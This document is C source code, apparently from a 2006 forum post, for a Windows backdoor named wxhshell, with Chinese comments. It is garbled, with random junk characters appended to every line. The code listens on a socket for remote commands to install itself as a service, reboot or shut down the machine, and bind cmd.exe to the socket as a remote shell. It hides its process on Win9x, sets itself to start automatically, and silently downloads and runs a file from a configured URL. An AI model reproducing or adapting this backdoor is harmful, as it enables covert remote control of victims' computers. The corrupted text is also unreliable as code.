  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ar VNynQ  
  else 8  }(ul  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s/J/kKj*s  
  } ~^R?HS  
  else { '4}c1F1T_  
<UMT:`h1MZ  
    switch(cmd[0]) { Yab=p 9V;;  
  ~ GW8|tw  
  // 帮助 "~HV!(dRMC  
  case '?': { '{(/C?T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xMAb=87_  
    break; cXo^.u  
  } auS.q5 %  
  // 安装 q=40  l  
  case 'i': { 1-bQ ( -  
    if(Install()) n%YG)5;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*rED6zH  
    else b[_${in:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5};$>47m  
    break; .A2u7*h&  
    } \<R.F  
  // 卸载 _cW6H B^j  
  case 'r': { ~8 w(M  
    if(Uninstall()) r06M.r   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0{ ;[k  
    else +\O[)\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Udh!%QP%[w  
    break; bhb*,iWA  
    } !(wH}ti  
  // 显示 wxhshell 所在路径 k;9"L90  
  case 'p': { 2og8VI  
    char svExeFile[MAX_PATH]; =!cI@TI  
    strcpy(svExeFile,"\n\r"); t|Ipxk.)  
      strcat(svExeFile,ExeFile); p!~{<s]  
        send(wsh,svExeFile,strlen(svExeFile),0); "=BO,see9  
    break; Y4B< ]C4  
    } J|BZ{T}d  
  // 重启 VF<C#I  
  case 'b': { 6(X5n5C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >.-$?2  
    if(Boot(REBOOT)) t9Nu4yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); * (4TasQu  
    else { Y/1,%8n  
    closesocket(wsh); o-D,K dY  
    ExitThread(0); Iu -CXc  
    } U5z}i^8a  
    break; #1C~i}J1  
    } H~P"uYKIZ  
  // 关机 [8K+  zT5  
  case 'd': { v8`)h<:W?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Twj?SV  
    if(Boot(SHUTDOWN)) M5Twulz/w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'C9H6)Zq)  
    else { oYG].PC  
    closesocket(wsh); ;|Z;YK@20  
    ExitThread(0); Q&9%XF uM  
    } >Lo!8Hen  
    break; dWI.t1`i  
    } $.z~bmH"D  
  // 获取shell D-8>?`n\  
  case 's': { BI\+ NGrB  
    CmdShell(wsh); y ;4h'y>#  
    closesocket(wsh); cc%O35o  
    ExitThread(0); ($oO, c'z  
    break; =!#iC?I  
  } 4#qjRmt  
  // 退出 $pT%7jV}  
  case 'x': { <}E^r_NvD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IFX|"3[$  
    CloseIt(wsh); ] _/d  
    break; m7XJe[O  
    } Qjj:r~l  
  // 离开 Qn7l-:`?  
  case 'q': { 1x07ua@(v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .=>T yq  
    closesocket(wsh); P'Fy,fNg  
    WSACleanup(); hao0_9q+  
    exit(1); x Qh?  
    break; sX&M+'h  
        } S%ri/}qI[{  
  } h]94\XQ>$  
  } rI:KZ}GZ  
k"P2J}4eO  
  // 提示信息 F$K-Q;r]<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zw5\{Z0  
} 9rb/hkX&  
  } ~EU[?  
f$E66yG  
  return; ~PNO|]8j  
} ."Yub];H  
xrT_ro8  
// shell模块句柄 FGOa! G  
int CmdShell(SOCKET sock) ! 40t:+I  
{ I`%=&l[v_5  
STARTUPINFO si; c4LBlLv4  
ZeroMemory(&si,sizeof(si)); e^@/ Bm+B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W RAW%?$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UZdE ^Q[  
PROCESS_INFORMATION ProcessInfo; 9xg_M=72  
char cmdline[]="cmd"; 2`* %NJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x~GV#c  
  return 0; s9A'{F  
} er5}=cFZ  
 =&fBmV  
// 自身启动模式 mm=Y(G[_%y  
int StartFromService(void) ucj)t7O   
{ %6 <Pt  
typedef struct O#7ldF(  
{ 2t { Cpw  
  DWORD ExitStatus; s8|#sHT  
  DWORD PebBaseAddress; UBRMV s  
  DWORD AffinityMask; e>t9\vN#bx  
  DWORD BasePriority; N,ik&NIWy  
  ULONG UniqueProcessId;  FZ>*<&  
  ULONG InheritedFromUniqueProcessId; vc2xAAQ  
}   PROCESS_BASIC_INFORMATION; yT&bS\  
.Qh8I+Q%  
PROCNTQSIP NtQueryInformationProcess; dITnPb)i  
%:o@IRTRU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +^+wS`Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (W/jkm  
#|XEBOmsQ  
  HANDLE             hProcess; 0iX qAa  
  PROCESS_BASIC_INFORMATION pbi; =X X_C nn  
V8Q#%#)FHe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5?kA)!|UB  
  if(NULL == hInst ) return 0; 8{+~3@T  
@sKAsn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \|>eG u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oQ;f`JC^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +$>ut r  
):78GVp  
  if (!NtQueryInformationProcess) return 0; 5 J|;RtcR  
gSj-~k P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CHpDzG>]4  
  if(!hProcess) return 0; %,,h )9  
A?}OOjA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0h shHv-  
*gz{:}NX  
  CloseHandle(hProcess); #>'1oC{  
\Di~DN1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pjj 5  
if(hProcess==NULL) return 0; G^mk<pH  
'v|2} T*  
HMODULE hMod; $fKwJFr  
char procName[255]; L)nVNY@Mc  
unsigned long cbNeeded;  (+]k{  
h.=B!wKK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uWnS<O  
['km'5uZ^  
  CloseHandle(hProcess); Rg[e~##  
>!)VkDAG  
if(strstr(procName,"services")) return 1; // 以服务启动 P)ZSxU  
u F*cS&'Z  
  return 0; // 注册表启动 ex!^&7Q(  
} 4}LF>_+=  
@B9|{[P  
// 主模块 x>8f#B\Mr  
int StartWxhshell(LPSTR lpCmdLine) MZjiJZaO:L  
{ Mqh~5NM  
  SOCKET wsl; F[=m|MZb  
BOOL val=TRUE; ^Js9E  
  int port=0; 3Xh&l[.  
  struct sockaddr_in door; [S4\fy0  
*VlYl"  
  if(wscfg.ws_autoins) Install(); hYd8}BvA  
|16 :Zoq  
port=atoi(lpCmdLine); VvF&E>f C  
X3m?zQbhv  
if(port<=0) port=wscfg.ws_port; *Ra")(RnDK  
n&C9f9S  
  WSADATA data; zRJy3/>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5ZKnxEW,(  
E+1j3Q;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "tj#P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pWx3l5)R  
  door.sin_family = AF_INET; Zj7XmkL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ; %Da {  
  door.sin_port = htons(port); =h_gj >  
&\X;t|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {H+?DMh  
closesocket(wsl); BkZ%0rw%  
return 1; KncoIw  
} 8S02 3  
`2fuV]FW  
  if(listen(wsl,2) == INVALID_SOCKET) { E7h}0DX  
closesocket(wsl); wKeqR$  
return 1;  yY| .  
} 3QHZC0AY  
  Wxhshell(wsl); &V:dcJ^Q  
  WSACleanup(); ]czy8n$+  
)[K3p{4  
return 0; ibuI/VDF  
|"-,C}O  
} UKJY.W!w4  
Q]7Q  
// 以NT服务方式启动 2DC#PX)i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3 #wj-  
{ ; p_X7N  
DWORD   status = 0; !xc7~D@om(  
  DWORD   specificError = 0xfffffff; y^A $bTQq  
;Pa(nUE@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *=7[Ip< X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~ /x42|t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P&tK}Se^V  
  serviceStatus.dwWin32ExitCode     = 0; )g --=w3  
  serviceStatus.dwServiceSpecificExitCode = 0; aOD"z7}U  
  serviceStatus.dwCheckPoint       = 0; Ax^'unfQ:  
  serviceStatus.dwWaitHint       = 0; Ji!-G4.n"  
1%@~J\qF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qm.kXlsDI  
  if (hServiceStatusHandle==0) return; 0 \#Q;Z2  
% *G)*n  
status = GetLastError(); lewDR"0Kx  
  if (status!=NO_ERROR) 'AAY!{>  
{ fA8+SaXW%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fq9[:  
    serviceStatus.dwCheckPoint       = 0; 9vbh5xX   
    serviceStatus.dwWaitHint       = 0; 7xc<vl#:q7  
    serviceStatus.dwWin32ExitCode     = status; Xdq, =;  
    serviceStatus.dwServiceSpecificExitCode = specificError; *YtNt5u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  B~NC  
    return; ~/U0S.C  
  } dc>y7$2  
~tLR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SHk[X ]Uo  
  serviceStatus.dwCheckPoint       = 0; @,MdvR+a  
  serviceStatus.dwWaitHint       = 0; ger<JSL%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1pb;A;F,A  
} 0uz"}v)  
Rpk`fxAO  
// 处理NT服务事件,比如:启动、停止 `"H?nf0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ds87#/Yfv  
{ mvgm o  
switch(fdwControl) h2%:;phH  
{ >.iw8#l  
case SERVICE_CONTROL_STOP: /=@vG Vp6  
  serviceStatus.dwWin32ExitCode = 0; '| }}o g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QVW6SY  
  serviceStatus.dwCheckPoint   = 0; 4iz&"~&1  
  serviceStatus.dwWaitHint     = 0; ]K7  64}  
  {  /Xz4q!Ul  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +*J4q5;E[?  
  } c2^7"`  
  return; OkZ!ZS h  
case SERVICE_CONTROL_PAUSE: pD#"8h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; doc  
  break; XX-T",  
case SERVICE_CONTROL_CONTINUE: q&E5[/VK:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fqb$_>3Ol  
  break; C.E> )  
case SERVICE_CONTROL_INTERROGATE: A7C+&I!L  
  break; Fw9``{4w  
}; nEm7&Gb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :*@|"4  
} *$(CiyF!  
@(c<av?  
// 标准应用程序主函数 @S7=6RKa[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n6 G&^Oj  
{ =BS'oBn^6  
XQOprIJ U  
// 获取操作系统版本 SSLs hY~d  
OsIsNt=GetOsVer(); ^qx\e$R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a{*'pY(R0$  
Z5Ihc%J^  
  // 从命令行安装  _)E8XyzF  
  if(strpbrk(lpCmdLine,"iI")) Install(); qm=F6*@}  
0xUj#)  
  // 下载执行文件 @izi2ND  
if(wscfg.ws_downexe) { " B{0-H+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4p8jV*:@{  
  WinExec(wscfg.ws_filenam,SW_HIDE); f*vk1dS:*3  
} mzB#O;3=  
p qN[G=0  
if(!OsIsNt) { uS#Cb+*F  
// 如果时win9x,隐藏进程并且设置为注册表启动 K=x1m M+RK  
HideProc(); IKDjatn  
StartWxhshell(lpCmdLine); F[=lA"F^  
} yl<$yd0Zdu  
else +~Lzsh"  
  if(StartFromService()) 3c^=<i %  
  // 以服务方式启动 j{R|]SjW2H  
  StartServiceCtrlDispatcher(DispatchTable); |/^aL j^u  
else 1vs>2` DLa  
  // 普通方式启动 W lQ=CRY  
  StartWxhshell(lpCmdLine); Kw0V4UF  
0~b6wuFl  
return 0; !7`=rT&  
}
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只看该作者 1 发表于: 2006-10-10
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